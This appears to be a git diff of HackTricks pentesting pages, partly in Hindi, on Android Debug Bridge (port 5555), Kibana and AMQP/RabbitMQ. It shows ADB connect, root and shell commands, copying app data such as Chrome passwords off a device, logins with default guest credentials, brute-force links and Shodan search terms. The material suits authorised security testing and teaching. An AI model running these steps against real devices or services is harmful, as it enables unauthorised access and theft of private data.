Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Other ways to support HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,67 +1,71 @@
|
||||||
# 5555 - एंड्रॉयड डीबग ब्रिज
|
# 5555 - Android Debug Bridge
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
[दस्तावेज़](https://developer.android.com/studio/command-line/adb) से:
|
From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||||
|
|
||||||
**एंड्रॉयड डीबग ब्रिज** (adb) एक बहुमुखी कमांड लाइन उपकरण है जो आपको एक डिवाइस के साथ संवाद करने की अनुमति देता है। adb कमांड विभिन्न डिवाइस क्रियाएँ सुविधित करता है, जैसे कि **ऐप्स को स्थापित और डीबग करना**, और यह एक **यूनिक्स शैल** तक पहुंच प्रदान करता है जिसका उपयोग आप डिवाइस पर विभिन्न कमांड चलाने के लिए कर सकते हैं।
|
**Android Debug Bridge** (adb) एक बहुपरकारी कमांड-लाइन उपकरण है जो आपको एक डिवाइस के साथ संवाद करने की अनुमति देता है। adb कमांड विभिन्न डिवाइस क्रियाओं को सुविधाजनक बनाता है, जैसे कि **ऐप्स को स्थापित करना और डिबग करना**, और यह **एक यूनिक्स शेल** तक पहुंच प्रदान करता है जिसका उपयोग आप डिवाइस पर विभिन्न कमांड चलाने के लिए कर सकते हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 5555.
|
**डिफ़ॉल्ट पोर्ट**: 5555.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||||
```
|
```
|
||||||
## कनेक्ट
|
## Connect
|
||||||
|
|
||||||
यदि आप डिवाइस के एक पोर्ट में चल रहे ADB सेवा को खोजते हैं और आप इससे कनेक्ट कर सकते हैं, **तो आप सिस्टम के अंदर एक शैल मिल सकता है:**
|
यदि आप किसी डिवाइस के पोर्ट में ADB सेवा चलती हुई पाते हैं और आप इससे कनेक्ट कर सकते हैं, **तो आप सिस्टम के अंदर एक शेल प्राप्त कर सकते हैं:**
|
||||||
```bash
|
```bash
|
||||||
adb connect 10.10.10.10
|
adb connect 10.10.10.10
|
||||||
adb root # Try to escalate to root
|
adb root # Try to escalate to root
|
||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
अधिक ADB कमांड्स के लिए निम्नलिखित पृष्ठ देखें:
|
For more ADB commands check the following page:
|
||||||
|
|
||||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### ऐप डेटा डंप
|
### ऐप डेटा डंप करें
|
||||||
|
|
||||||
किसी एप्लिकेशन के डेटा को पूरी तरह से डाउनलोड करने के लिए आप कर सकते हैं:
|
किसी एप्लिकेशन का डेटा पूरी तरह से डाउनलोड करने के लिए आप:
|
||||||
```bash
|
```bash
|
||||||
# From a root console
|
# From a root console
|
||||||
chmod 777 /data/data/com.package
|
chmod 777 /data/data/com.package
|
||||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||||
adb pull "/sdcard/com.package"
|
adb pull "/sdcard/com.package"
|
||||||
```
|
```
|
||||||
|
आप इस ट्रिक का उपयोग **संवेदनशील जानकारी जैसे क्रोम पासवर्ड** प्राप्त करने के लिए कर सकते हैं। इस बारे में अधिक जानकारी के लिए दिए गए संदर्भों की जानकारी देखें [**यहां**](https://github.com/carlospolop/hacktricks/issues/274)।
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `एंड्रॉइड डीबग ब्रिज`
|
* `android debug bridge`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
अन्य तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,55 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
Kibana को इसकी क्षमता के लिए जाना जाता है कि इलास्टिकसर्च में डेटा की खोज और दृश्यीकरण करना, जो आम तौर पर पोर्ट **5601** पर चलता है। यह इलास्टिक स्टैक क्लस्टर की मॉनिटरिंग, प्रबंधन, और सुरक्षा कार्यों के लिए इंटरफेस के रूप में काम करता है।
|
Kibana को Elasticsearch के भीतर डेटा को खोजने और दृश्य बनाने की क्षमता के लिए जाना जाता है, जो आमतौर पर पोर्ट **5601** पर चलता है। यह Elastic Stack क्लस्टर की निगरानी, प्रबंधन और सुरक्षा कार्यों के लिए इंटरफेस के रूप में कार्य करता है।
|
||||||
|
|
||||||
## प्रमाणीकरण को समझना
|
## Understanding Authentication
|
||||||
|
|
||||||
Kibana में प्रमाणीकरण की प्रक्रिया इलास्टिकसर्च में उपयोग किए जाने वाले **क्रेडेंशियल्स से जुड़ी होती है**। अगर इल
|
Kibana में प्रमाणीकरण की प्रक्रिया स्वाभाविक रूप से **Elasticsearch में उपयोग किए गए क्रेडेंशियल्स** से जुड़ी होती है। यदि Elasticsearch में प्रमाणीकरण अक्षम है, तो Kibana को बिना किसी क्रेडेंशियल के एक्सेस किया जा सकता है। इसके विपरीत, यदि Elasticsearch को क्रेडेंशियल्स के साथ सुरक्षित किया गया है, तो Kibana तक पहुँचने के लिए वही क्रेडेंशियल्स आवश्यक हैं, दोनों प्लेटफार्मों पर समान उपयोगकर्ता अनुमतियों को बनाए रखते हुए। क्रेडेंशियल्स **/etc/kibana/kibana.yml** फ़ाइल में मिल सकते हैं। यदि ये क्रेडेंशियल्स **kibana_system** उपयोगकर्ता से संबंधित नहीं हैं, तो वे व्यापक पहुँच अधिकार प्रदान कर सकते हैं, क्योंकि kibana_system उपयोगकर्ता की पहुँच निगरानी APIs और .kibana इंडेक्स तक सीमित है।
|
||||||
|
|
||||||
|
## Actions Upon Access
|
||||||
|
|
||||||
|
Kibana तक पहुँच प्राप्त करने के बाद, कई क्रियाएँ सलाह दी जाती हैं:
|
||||||
|
|
||||||
|
- Elasticsearch से डेटा का अन्वेषण प्राथमिकता होनी चाहिए।
|
||||||
|
- उपयोगकर्ताओं का प्रबंधन करने की क्षमता, जिसमें नए उपयोगकर्ताओं, भूमिकाओं या API कुंजियों का संपादन, हटाना या निर्माण करना शामिल है, Stack Management -> Users/Roles/API Keys के अंतर्गत मिलती है।
|
||||||
|
- ज्ञात कमजोरियों के लिए Kibana के स्थापित संस्करण की जाँच करना महत्वपूर्ण है, जैसे कि 6.6.0 से पहले के संस्करणों में पहचानी गई RCE कमजोरी ([More Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2))।
|
||||||
|
|
||||||
|
## SSL/TLS Considerations
|
||||||
|
|
||||||
|
जहाँ SSL/TLS सक्षम नहीं है, वहाँ संवेदनशील जानकारी के लीक होने की संभावना का पूरी तरह से मूल्यांकन किया जाना चाहिए।
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,35 +1,36 @@
|
||||||
# 5671,5672 - AMQP का पेंटेस्टिंग
|
# 5671,5672 - Pentesting AMQP
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
[cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html) से:
|
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||||
|
|
||||||
> **RabbitMQ** एक **मैसेज-कतार सॉफ्टवेयर** है जिसे _मैसेज ब्रोकर_ या _कतार प्रबंधक_ भी कहा जाता है। सीधे शब्दों में कहा जाए तो यह सॉफ्टवेयर है जहां कतार परिभाषित किए जाते हैं, जिनके जरिए एप्लिकेशन्स कनेक्ट करते हैं ताकि मैसेज या मैसेज ट्रांसफर किया जा सके।\
|
> **RabbitMQ** एक **संदेश-लाइन सॉफ़्टवेयर** है जिसे _संदेश ब्रोकर_ या _क्यू प्रबंधक_ के रूप में भी जाना जाता है। सरल शब्दों में; यह सॉफ़्टवेयर है जहाँ कतारें परिभाषित की जाती हैं, जिनसे अनुप्रयोग कनेक्ट होते हैं ताकि एक या अधिक संदेशों को स्थानांतरित किया जा सके।\
|
||||||
> **मैसेज में किसी भी प्रकार की जानकारी** शामिल हो सकती है। यह उदाहरण के लिए, यह किसी प्रक्रिया या कार्य के बारे में जानकारी रख सकता है जो दूसरे एप्लिकेशन पर शुरू होनी चाहिए (जो कि दूसरे सर्वर पर भी हो सकता है), या यह बस एक साधारण पाठ संदेश हो सकता है। कतार प्रबंधक सॉफ्टवेयर मैसेज को संदेश लेने तक संग्रहीत करता है जब एक प्राप्ति एप्लिकेशन कनेक्ट करता है और कतार से एक मैसेज निकालता है। प्राप्ति एप्लिकेशन फिर मैसेज को प्रोसेस करता है।\
|
> एक **संदेश में किसी भी प्रकार की जानकारी शामिल हो सकती है**। उदाहरण के लिए, इसमें किसी प्रक्रिया या कार्य के बारे में जानकारी हो सकती है जो किसी अन्य अनुप्रयोग (जो कि किसी अन्य सर्वर पर भी हो सकता है) पर शुरू होनी चाहिए, या यह केवल एक साधारण पाठ संदेश हो सकता है। क्यू-प्रबंधक सॉफ़्टवेयर संदेशों को तब तक संग्रहीत करता है जब तक कि एक प्राप्त करने वाला अनुप्रयोग कनेक्ट नहीं होता और कतार से एक संदेश नहीं लेता। प्राप्त करने वाला अनुप्रयोग फिर संदेश को संसाधित करता है।\
|
||||||
Definition from .
|
Definition from .
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 5672,5671
|
**Default port**: 5672,5671
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||||
```
|
```
|
||||||
## जाँच
|
## Enumeration
|
||||||
|
|
||||||
### मैन्युअल
|
### Manual
|
||||||
```python
|
```python
|
||||||
import amqp
|
import amqp
|
||||||
#By default it uses default credentials "guest":"guest"
|
#By default it uses default credentials "guest":"guest"
|
||||||
|
@ -58,40 +59,41 @@ PORT STATE SERVICE VERSION
|
||||||
| mechanisms: PLAIN AMQPLAIN
|
| mechanisms: PLAIN AMQPLAIN
|
||||||
|_ locales: en_US
|
|_ locales: en_US
|
||||||
```
|
```
|
||||||
### ब्रूट फोर्स
|
### Brute Force
|
||||||
|
|
||||||
* [**AMQP प्रोटोकॉल ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||||
* [**STOMP प्रोटोकॉल ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||||
|
|
||||||
## अन्य RabbitMQ पोर्ट
|
## अन्य RabbitMQ पोर्ट
|
||||||
|
|
||||||
[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) में आप देख सकते हैं कि **rabbitmq कई पोर्ट्स का उपयोग करता है**:
|
[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) पर आप देख सकते हैं कि **rabbitmq कई पोर्ट का उपयोग करता है**:
|
||||||
|
|
||||||
* **1883, 8883**: ([MQTT clients](http://mqtt.org) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [**Learn more about how to pentest MQTT here**](1883-pentesting-mqtt-mosquitto.md).
|
* **1883, 8883**: ([MQTT क्लाइंट](http://mqtt.org) बिना और TLS के साथ, यदि [MQTT प्लगइन](https://www.rabbitmq.com/mqtt.html) सक्षम है। [**यहां MQTT का pentest कैसे करें, इसके बारे में अधिक जानें**](1883-pentesting-mqtt-mosquitto.md)।
|
||||||
* **4369: epmd**, a peer discovery service used by RabbitMQ nodes and CLI tools. [**Learn more about how to pentest this service here**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
* **4369: epmd**, एक पीयर डिस्कवरी सेवा जो RabbitMQ नोड्स और CLI टूल्स द्वारा उपयोग की जाती है। [**यहां इस सेवा का pentest कैसे करें, इसके बारे में अधिक जानें**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)।
|
||||||
* **5672, 5671**: used by AMQP 0-9-1 and 1.0 clients without and with TLS
|
* **5672, 5671**: AMQP 0-9-1 और 1.0 क्लाइंट्स द्वारा बिना और TLS के साथ उपयोग किया जाता है
|
||||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) clients, [management UI](https://www.rabbitmq.com/management.html) and [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (only if the [management plugin](https://www.rabbitmq.com/management.html) is enabled). [**Learn more about how to pentest this service here**](15672-pentesting-rabbitmq-management.md).
|
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) क्लाइंट्स, [प्रबंधन UI](https://www.rabbitmq.com/management.html) और [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (केवल यदि [प्रबंधन प्लगइन](https://www.rabbitmq.com/management.html) सक्षम है)। [**यहां इस सेवा का pentest कैसे करें, इसके बारे में अधिक जानें**](15672-pentesting-rabbitmq-management.md)।
|
||||||
* 15674: STOMP-over-WebSockets clients (only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled)
|
* 15674: STOMP-over-WebSockets क्लाइंट्स (केवल यदि [Web STOMP प्लगइन](https://www.rabbitmq.com/web-stomp.html) सक्षम है)
|
||||||
* 15675: MQTT-over-WebSockets clients (only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled)
|
* 15675: MQTT-over-WebSockets क्लाइंट्स (केवल यदि [Web MQTT प्लगइन](https://www.rabbitmq.com/web-mqtt.html) सक्षम है)
|
||||||
* 15692: Prometheus metrics (only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled)
|
* 15692: Prometheus मेट्रिक्स (केवल यदि [Prometheus प्लगइन](https://www.rabbitmq.com/prometheus.html) सक्षम है)
|
||||||
* 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**.
|
* 25672: इंटर-नोड और CLI टूल्स संचार के लिए उपयोग किया जाता है (Erlang वितरण सर्वर पोर्ट) और इसे एक गतिशील रेंज से आवंटित किया गया है (डिफ़ॉल्ट रूप से एकल पोर्ट तक सीमित, AMQP पोर्ट + 20000 के रूप में गणना की गई)। जब तक इन पोर्ट्स पर बाहरी कनेक्शन वास्तव में आवश्यक नहीं हैं (जैसे, क्लस्टर [फेडरेशन](https://www.rabbitmq.com/federation.html) का उपयोग करता है या CLI टूल्स उप-नेट से बाहर मशीनों पर उपयोग किए जाते हैं), इन पोर्ट्स को सार्वजनिक रूप से उजागर नहीं किया जाना चाहिए। विवरण के लिए [नेटवर्किंग गाइड](https://www.rabbitmq.com/networking.html) देखें। **इनमें से केवल 9 पोर्ट इंटरनेट पर खुले हैं**।
|
||||||
* 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details.
|
